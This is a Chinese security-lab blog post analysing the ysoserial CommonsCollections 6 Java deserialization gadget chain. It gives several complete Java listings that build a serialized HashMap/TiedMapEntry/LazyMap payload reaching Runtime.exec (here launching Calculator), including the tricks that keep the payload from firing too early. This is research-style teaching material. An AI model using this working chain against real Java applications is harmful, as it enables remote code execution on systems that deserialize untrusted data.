点击蓝字 / 关注我们
日期:2022-05-12
作者:ICDAT
介绍:这篇文章主要是跟着
java
安全漫谈对ysoserial CommonsCollections 6
反序列化链分析。
0x00 前言
基于 CommonsCollections 5
的反序列化分析后,跟着 java安全漫谈的
脚步,在之前分析 CommonsCollections 5
的基础上继续分析 CommonsCollections 6
。
java
安全漫谈中提到的利用链是区别 ysoserial
的。
链条如下:
Gadget chain:
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashcode()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
这个链条同 CommonsCollections 5
相比,不同处是 LazyMap.get()
到 TiedMapEntry
类的利用链不同,使用的是 TiedMapEntry.hashcode()
方法。
0x01 TiedMapEntry.hashcode()
org.apache.commons.collections.keyvalue.TiedMapEntry
类存在 hashcode()
方法,也调用了 TiedMapEntry.getValue()
方法。
针对这个方法的 paylaod
,可以这么写:
package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class tiedMapDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);
entry.hashcode();
}
}
0x02 HashMap.hash()
java.util.HashMap
类存在 HashMap.hash()
方法,其中调用了 key.hashcode()
。
那么我们只要在 key
中添加 TiedMapEntry
对象就可以。
因为 hash()
方法为静态方法,在其他类调用的时候,只能使用类名.静态方法名的方式调用,无法使用类对象.方法名的调用,所以修改的代码按照要求来说不会弹窗。
package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class hashMapHashDemo {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, 123);
Map hashMap = new HashMap();
hashMap.put(entry,12313);
}
}
但是实际上,运行代码后,弹窗了。如果只是本地调试,你会发现去除最后两行代码后也可以弹窗。去重后两行代码,直接运行是不弹窗的。
java
安全漫谈中给出的解释是调试器会在下面调用一些 toString
之类的方法,导致不经意间触发了命令。
而如果我们注释掉最后一行代码,直接运行不弹窗,那么综上所述,问题在于 hashMap.put()
方法,在 put
方法定义处,也发现了 hash()
方法。
因为我们的代码逻辑没有到需要反序列化的程度,所以这里进行提醒,后续处理,避免弹窗出现两个计算器的情况。
0x03 HashMap.readObject()
java.util.HashMap
类的 readObject
方法,在 mappings > 0
的时候调用了 HashMap
类的 hash()
方法。
现在逻辑清楚了,那么加入反序列化操作,尝试撰写 payload
。
package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap();
hashMap.put(entry,"123123");
serialize(hashMap);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
运行后就会发现,计算器弹窗了,但是代码报错,在 serialize(hashMap);
触发错误。
问题出在之前提到的本地调试时自动调用 toString
,上面的代码在 TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
处就被调用了,同时 hashMap.put(entry,"123123");
也会触发计算器弹窗。
对此的处理是,在进行序列化的时候再传入弹窗的 transformer
。
这样在自动调用 toString
时不会弹窗,调用 put
方法也不会弹窗。
修改后的代码如下:
package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap();
hashMap.put(entry,"123123");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);
serialize(hashMap);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
运行没有报错,但是没有计算器弹窗。
调式这段代码,进行 deserialize
的 is.readObject()
,就会发现前面的逻辑正确,但是在执行 laymap.get
时出现了问题。
ObjectInputStream.readObject()
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashcode()
LazyMap.get()
在进行 containsKey()
时,发现在 lazyMap
中发现了 123
这个 key
值,但是我们没有在 lazyMap
里传入这个值,我们只是通过 decorate
进行了初始化。
经过进一步的调试发现,在 hashMap.put()
方法前, lazyMap
的为空 。
执行完该方法后,已经传入了123
作为 key
值。
这里可以删除123
这个 key
值即可。
完整 payload
如下:
package demos_CommonsCollections_6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
// 传入Runtime类
new ConstantTransformer(Runtime.class),
// 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
// invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
// 调用exec("calc")
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chain = new ChainedTransformer(fakeTransformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123");
Map hashMap = new HashMap();
hashMap.put(entry,"123123");
lazyMap.remove("123");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, transformers);
serialize(hashMap);
deserialize();
}
public static void serialize(Object obj){
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
os.writeObject(obj);
os.close();
} catch (IOException e) {
e.printStackTrace();
}
}
public static void deserialize(){
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
is.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}
0x04 总结
参考着 java安全漫谈
,一步步分析的,感觉路途遥远啊。
往期回顾
免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。
宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。
团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。
对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。
原文始发于微信公众号(宸极实验室):『代码审计』ysoserial CommonsCollections 6 反序列化分析(三)
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论